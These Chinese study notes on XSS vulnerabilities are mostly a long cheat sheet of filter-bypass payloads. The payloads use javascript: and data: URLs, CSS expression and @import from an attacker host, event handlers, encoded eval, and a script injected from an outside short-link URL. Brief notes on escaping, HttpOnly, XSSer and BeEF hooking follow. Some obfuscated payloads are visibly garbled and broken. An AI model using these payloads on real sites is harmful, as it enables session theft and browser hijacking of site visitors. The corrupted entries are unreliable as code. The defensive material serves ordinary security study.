xss漏洞学习笔记
xss 实质是指 html 和 javascript 代码的注入
XSS被恶意使用的三种方法:
1. 窃取 Cookie 值
2. 通过 JavaScript 攻击
3. 篡改网页
xss 的分类:
按形式分:反射型 XSS 存储型 XSS
按介质分:JSXSS FlashXSS
按接口分:DOM base XSS , 非 DOM XSS
注:因此没有反射型 XSS、存储型 XSS、DOM XSS 这种分类,因为分类依据都不同…
1. 反射型:(不持久型 xss)
与服务器交互,但是交互的数据一般不会被存放在数据库中,一次性,所见即所得,一般出现在查询类页面上等。
<!-- 一般是 < script>alert (123)</script> -->
2. 存储型:(持久型 xss)
交互的数据会被存放在数据库中,永久性存储,一般出现在留言板,注册等页面。
<!-- 一般是 #<a href='' onclick=alert ('xss')>click</a> -->
3.DOM 型:
不与后台服务器产生数据交互,是一种通过 DOM 操作前端代码输出的时候产生的漏洞,大部分属于反射型,少部分属于存储型。
xss 可能存在的漏洞:
有用户输入输出的地方,用户交互等一些地方,都可能存在 xss 漏洞。
PHP 转义函数:
htmlspecialchars($String, $quote_style, $charset)
$string :转换对象字符串
$quote_style:转换方法。
转换前 转换后 ENT_NOQUOTES ENT_COMPAT ENT_QUOTES
< <; 支持 支持 支持
>; 支持 支持 支持
& &; 支持 支持 支持
" "; 不支持 支持 支持
’ '; 不支持 不支持 支持
一般使用最后一种即可:ENT_QUOTES
$charset:字符编码。如 UTF-8、GBK。
payload:<!--
# 第一类:Javascript URL
<a href="javascript:alert('test')">link</a>
<a href="javascript:alert('xss')">link</a>
<a href='vbscript:MsgBox("XSS")'>link</a>
<a href="vbscript:alert(1)">Hello</a>
<a href="vbscript:alert(1)">Hello</a>
<a href=javascript:alert("XSS")>link</a>
<a href= javascript:alert("RSnake says,'XSS'")
>link</a>
<a href=javascript:alert(String.fromCharCode(88,83,83))>link</a>
<a href="javascript:alert(1)">link</a>
<a href="javaSCRIPT:alert(1)">Hello</a>
<a href="javasc
ript:alert(1)">link</a>
<a href="javas cript:\u0061lert(1);">Hello</a>
<a href="jav ascript:alert('XSS')">link</a>
<a href="jav ascript:alert('XSS')">link</a>
<a href="jav
ascript:alert('XSS')">link</a>
<a href=" � javascript:alert('XSS');">link</a>
<a href="javascript:\u0061lert(1)">Hello</a>
<a href="javascript:confirm 1
">link</a>
<a href="javascript:confirm(1)">link</a>
<a href="j a vas c r ipt:alert(1)">1</a>
<a href="javascript:%61%6c%65%72%74%28%31%29">link</a>
<a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>
<a href=javascript:eval("alert('xss')")>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a>
<iframe/src="data:text/html; base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
#第二类:CSS import
<style>@import url("http://attacker.org/malicious.css");</style>
<style>@imp\ort url("http://attacker.org/malicious.css");</style>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<STYLE>@import'http://jb51.net/xss.css';</STYLE>
#第三类:Inline style
<div style="color: expression(alert('XSS'))">
<div style=color:expression(alert(1))></div>
<div style="color: '<'; color: expression(alert('XSS'))">
<div style=X:expression(alert(/xss/))>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<div style="z:exp/anything/res/here/sion(alert(1))">
<div style=xss:expr/XSS/ession(alert('XSS'))>
</XSS/-/STYLE=xss:e//xpression(alert('XSS'))>
</XSS/-/STYLE=xss:e//xpression(window.location="http://www.baidu.com")>
<img STYLE="background-image:url(javascript:alert('XSS'))"> //ie6
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">
<A STYLE='no\xss:noxss("//");xss:ex/XSS////pression(alert("XSS"))'>
#第四类:JavaScript 事件
<div onclick="alert ('xss')">
<div onmouseenter="alert('xss')">
<div onclick ="alert('xss')">
<BODY ONLOAD=alert('XSS')>
<img src=1 onerror=alert(1)>
<img/src='1'/onerror=alert(0)>
<img src="1" onerror="alert(1)" />
<img src=1 alt=al lang=ert onerror=topalt+lang>
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onmouseover=alert('xss') a1=1111>
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
<a href="#" onclick=alert('\170\163\163')>test</a>
<a href="#" onclick="\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href="#" onclick="\u0061\u006C\u0065\u0072\u0074 a
">link</a>
<a href="#" onclick="alert('xss')">link</a>
<marquee onscroll=alert(1)> test</marquee>
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert('a')">123456 <br/><br/><br/><br/><br/></div>
<DIV onmousewheel="alert('a')" >123456</DIV><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
<div style="background-color:red" onmouseenter="alert('a')">123456</div>
<DIV onmouseleave="alert('1')">123456</DIV>
<div contentEditable="true" style="background-color:red" onfocusin="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red" onfocusout="alert('bem')" >asdf</div>
<marquee onstart="alert('a')" >asdf</marquee>
<div style="background-color:red;" onbeforecopy="alert('a')" >asdf</div>
<div style="background-color:red;" onbeforecut="alert('a')" >asdf</div>
<div style="background-color:red;" contentEditable="true" onbeforeeditfocus="alert('a')" >asdf</div>
<div style="background-color:red;" ="true" onbeforepaste="alert('a')" >asdf</div>
<div style="background-color:red;" oncontextmenu="alert('a')" >asdf</div>
<div style="background-color:red;" oncopy="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" oncut="alert('a')" >asdf</div>
<div style="background-color:red;" ondrag="alert('1')" >asdf</div>
<div style="background-color:red;" ondragend="alert('a')" >asdf</div>
<div style="background-color:red;" ondragenter="alert('b')" >asdf</div>
<div contentEditable="true" style="background-color:red;" ondragleave="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" ondragover="alert('b')" >asdf</div>
<div contentEditable="true" style="background-color:red;" ondragstart="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" ondrop="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:green;" ondrop="alert('bem')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onlosecapture="alert('b')">asdf</div>
<div contentEditable="true" style="background-color:red;" onpaste="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onselectstart="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onhelp="alert('a')" >asdf</div>
<div STYLE="background-color:red;behavior:url('#default#time2')" onEnd="alert('a')">asdf</div>
<div STYLE="background-color:red;behavior:url('#default#time2')" onBegin="alert('a')">asdf</div>
<div contentEditable="true" STYLE="background-color:red;" onactivate="alert('b')">asdf</div>
<div contentEditable="true" STYLE="background-color:red;filter: Alpha(opacity=100, style=2);"onfilterchange="alert('b')">asdf</div>
<div contentEditable="true" onbeforeactivate="alert('b')">asdf</div>
<div contentEditable="true" onbeforedeactivate="alert('a')">asdf</div>
<div contentEditable="true" ondeactivate="alert('bem')">asdf</div>
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />
<audio src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)">
<audio src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)"></audio>
<body onscroll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<input type="hidden" accesskey="X" onclick="alert(/xss/)">
#第五类:Script 标签
< script src="http://baidu.com"></script>
<script>Function(atob('YWxlcnQoInhzcyIp'))()</script>
<script>alert("XSS")</script>
<scr<script>ipt>alert("XSS")</scr<script>ipt>
<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
<script>alert(/1/.source)</script>
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<script>alert(/88199/)</script>
<script>alert( a
)</script>
<script>alert('a')</script>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<script>eval(alert(1))</script>
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>setTimeout(alert(1),0)</script>
<script>setTimeout alert\x28\x27 xss \x27\x29
</script>
<script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script src=data:text/javascript,alert(1)></script>
<script src=data:text/javascript,alert(1)></script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074 a
</script>
<script>window'alert'</script>
<script>parent'alert'</script>
<script>self'alert'</script>
<script>top'alert'</script>
<!--[if]><script>alert (1)</script -->(该地方 --> 是要写的,注释就近原则忽略)
<!--(这是注释符)
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>
<script>={:++$$],,_😦![]+"")[],_:++$$:({}+"")[_😦]+"")[],_,$$],__:++,_:__:({}+"")[],$$_:$$:___:};=(=._]+(._=_[.__])+(..)+"")[._.=_[...=(!""+"")[._])+[.+._+;..$$]+.__+.++..)[][];((+"\""+._+(![]+"")[._]+$$+"\"+.__+..+"("+$.+")"+""")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([]+[])[+[]]+([]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+([]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([]+[])[+!+[]]]([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([]+[])[+[]]+([]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+([]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([]+[])[+!+[]]()</script>
XSS 的辅助性对策:
输入校验:通过检验输入值的有效性,当输入值不符和条件是就显示错误消息,并促使用户重新输入,有时也能够防御 XSS 攻击。
给Cookie添加HttpOnly属性:Cookie中有名为HttpOnly属性,该属性能禁止JavaScript读取Cookie值。
通过给Cookie添加HttpOnly属性,能够杜绝XSS中窃取会话ID这一典型的攻击手段。但需要注意的是其他攻击手段依然有效,所以这样只能是限制了攻击者的选择范围,并不能杜绝所有的XSS攻击。
php.init:session.cookie_httponly=On
XSS 对策总结:
根本性对策(个别对策)
HTML的元组内容:使用htmlspecialchars函数转义。
属性值:使用 htmlspecialchars 函数转义并用双引号括起来。
根本性对策(共通对策)
明确设置HTTL响应的字符编码。
辅助对策:
(a)输入校验
(b)给Cookie添加HttpOnly属性。
HTML 组成元素
1. 脚本(事件绑定)
2. 事件绑定函数中的字符串字面量
3. 属性值 /(URL),属性位置防止双引号。
4. 元素内容,元素位置防止尖角符号。
5.script 元素中南的字符串字面量
XSSer简介-确认XSS存在的工具
XSSer概述:
跨站点 “Scripter”(又名 XSSer)是一个自动化框架,用于检测、利用以及报告基于 Web 应用程序
中的 XSS 漏洞。
XSS是Web应用常见的漏洞。利用该漏洞,安全人员在网站注入恶意脚本,控制用户浏览器,并发起其他渗透操作。XSSer是Kali Linux提供的一款自动化XSS攻击框架。该工具可以同时探测多个网址。如果发现XSS漏洞,可以生成报告,并直接进行利用,如建立反向连接。为了提供攻击效率,该工具支持各种规避措施,如判断XSS过滤器、规避特定的防火墙、编码规避。同时,该工具提供丰富的选项,供用户自定义攻击,如指定攻击载荷、设置漏洞利用代码等。
一个自动框架、检测,利用和报告基于Web应用的XSS漏洞。
支持命令行、图形化界面。
提供绕过服务器过滤的选项,以及一些特殊的代码注入技术。
XSSer经典命令:
(a)-u URL, --url=URL 添加 URL
(b)-g Getdata 使用 GET 提交数据
(c)-p POSTdata 使用 post 提交数据
(d)--cookie=COOKIE 提供 cookie 信息
(e)-s, --statistics 显示统计信息
(f)-v, --verbose 展示详细结果
(g)--reverse-check 反向连接检查
BeEF攻击简介
BeEF概述:
通过 XSS 漏洞,将 hook.js 脚本注入,可将中招的客户端挂起。
如果客户端浏览器关掉,则连接会断开。
可以做持久化连接。不让用户关闭浏览器,或者后台开一个小窗。
BeEF(Brower exploitation framerwork):
1. 生成,交付 Payload
2.Ruby 语言编写
3. 服务器端:管理 Hooked 客户端
4. 客户端:运行与客户端浏览器的 JS 脚本(hook)降低白帽子对 JS 代码的要求。
BeEF主要针对浏览器(客户)进行攻击。
应用普遍转移到B/S架构,浏览器称为唯一客户端程序。
结合社会工程学方法对浏览器进行攻击。
攻击浏览器用户
通过注入的JS脚本,刘勇浏览器工具其他网站
BeEF攻击手段:
1. 利用网站 XSS 漏洞实现攻击
2. 诱使客户端访问包含 hook 的伪造网站
3. 结合中间人攻击注入 hook 脚本
1.软件攻击模块颜色介绍:
2- 绿色模块:表示模块适合目标浏览器,并且执行结果客户端不可见
3- 红色模块:表示模块不适合目标浏览器,有些红色模块也可正常运行
4- 橙色模块:模块可用,但是结果对用户可见(例如:弹窗申请全新等)
5- 灰色模块:模块未在目标浏览器测试过
BeEF 常见用途:
1. 键盘记录器
2. 网络扫描
3. 浏览器信息收集
4. 绑定 shell
5. 与 Metasploit 集成
-->